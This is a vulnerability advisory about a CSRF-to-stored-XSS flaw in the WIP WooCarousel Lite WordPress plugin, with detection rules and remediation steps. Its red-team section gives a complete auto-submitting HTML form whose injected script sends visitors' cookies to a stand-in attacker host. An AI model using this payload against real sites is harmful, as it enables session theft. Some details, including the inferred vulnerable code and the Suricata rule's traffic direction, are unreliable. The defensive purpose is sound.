CVE-2025-30769
Executive Summary
CVE-2025-30769 is a Cross-Site Request Forgery (CSRF) vulnerability in the WIP WooCarousel Lite WordPress plugin (versions <= 1.1.7), developed by alexvtn. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution when the admin’s session is hijacked. The CVSS v3.1 score is 7.1 (High), with a vector emphasizing network-based, low-complexity attacks requiring user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Supply chain risks include compromised plugin updates or malicious forks. Administrators should verify plugin integrity via checksums and monitor for official patches.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need authentication.
- User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The CSRF-to-Stored-XSS chain allows persistent script execution, potentially leading to session hijacking, defacement, or data theft.
Deep Dive & Mechanics
The vulnerability resides in the WIP WooCarousel Lite plugin, which provides WooCommerce product carousels. The plugin fails to implement CSRF tokens in its administrative actions (e.g., saving settings, updating carousel configurations). An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s admin-ajax.php or settings endpoint.
The CSRF request can modify plugin options, including fields that are later rendered without sanitization, leading to Stored XSS. For example, an attacker could inject JavaScript into a carousel title or description field. When the carousel is displayed on the frontend, the script executes in the context of any visitor’s browser.
Attack Flow:
- Attacker identifies a vulnerable WordPress site running WIP WooCarousel Lite <= 1.1.7.
- Attacker crafts an HTML page with an auto-submitting form targeting the plugin’s settings endpoint (e.g.,
/wp-admin/admin.php?page=wip-woocarousel-lite-settings). - Attacker lures an authenticated admin to the malicious page (e.g., via phishing email).
- The admin’s browser sends a forged POST request, updating a plugin option with a malicious payload (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the database and rendered on the carousel frontend, executing for all visitors.
Vulnerable vs. Patched Code
Vulnerable Code (wip-woocarousel-lite <= 1.1.7): The plugin’s settings page likely lacks a nonce check. Example vulnerable pattern:
// In admin/settings.php
function save_settings() {
// No check_admin_referer() or wp_verify_nonce() call
update_option('wip_woocarousel_lite_settings', $_POST['settings']);
}
Patched Code (Hypothetical): A secure version would include a nonce verification:
function save_settings() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wip_woocarousel_lite_save_settings')) {
wp_die('Security check failed.');
}
update_option('wip_woocarousel_lite_settings', $_POST['settings']);
}
Additionally, output escaping (e.g., esc_html(), wp_kses_post()) should be applied to all stored data before rendering.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target WordPress site with WIP WooCarousel Lite <= 1.1.7.
- Authenticated admin session (victim).
Exploit Steps:
- Create a malicious HTML file (
csrf_exploit.html):
<html>
<body>
<form action="http://target/wp-admin/admin.php?page=wip-woocarousel-lite-settings" method="POST">
<input type="hidden" name="settings[carousel_title]" value="<script>fetch('http://attacker/steal?cookie='+document.cookie)</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on an attacker-controlled server.
- Send the link to an authenticated admin (e.g., via email).
- Once the admin visits the page, the CSRF request updates the carousel title with the XSS payload.
- Any visitor to the carousel page triggers the script, exfiltrating cookies.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Defensive)
Detection & Prevention:
- Monitor for unusual POST requests to
/wp-admin/admin.php?page=wip-woocarousel-lite-settingswithout a valid nonce. - Use Web Application Firewall (WAF) rules to block requests with suspicious payloads (e.g.,
<script>tags) in plugin settings. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit plugin code for missing CSRF tokens and output escaping.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin.php?page=wip-woocarousel-lite-settingswith unusual parameters. - Outbound connections to attacker-controlled domains from the WordPress server.
- POST requests to
- File IOCs:
- Modified plugin options in the
wp_optionstable (e.g.,wip_woocarousel_lite_settingscontaining script tags).
- Modified plugin options in the
- Log IOCs:
- Admin session logs showing access to plugin settings from unexpected IPs.
- PHP error logs indicating failed nonce checks (if patched).
Detection Engineering
YARA Rule
rule CVE_2025_30769_CSRF_XSS {
meta:
description = "Detects WIP WooCarousel Lite CSRF to Stored XSS payloads"
author = "Valters IT"
date = "2025-04-17"
cve = "CVE-2025-30769"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "wip-woocarousel-lite"
$settings_page = "admin.php?page=wip-woocarousel-lite-settings"
condition:
$plugin_path and $settings_page and $xss_payload
}
Sigma Rule
title: CVE-2025-30769 - WIP WooCarousel Lite CSRF to Stored XSS
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects CSRF attempts targeting WIP WooCarousel Lite settings
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin.php'
cs-uri-query|contains: 'page=wip-woocarousel-lite-settings'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-30769 - WIP WooCarousel Lite CSRF to Stored XSS";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/wp-admin/admin.php";
http.uri; content:"page=wip-woocarousel-lite-settings";
http.request_body; content:"<script";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-admin/admin.php?page=wip-woocarousel-lite-settingswithout a valid nonce. - Audit admin sessions for unauthorized changes to plugin settings.
Long-Term Fix:
- Apply the official patch when released (monitor the WordPress plugin repository).
- If no patch is available, manually add CSRF nonce checks and output escaping to the plugin’s settings handler.
Workaround:
- Restrict access to the plugin settings page via
.htaccessor IP whitelisting. - Use a security plugin (e.g., Wordfence) to enforce CSRF protection.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.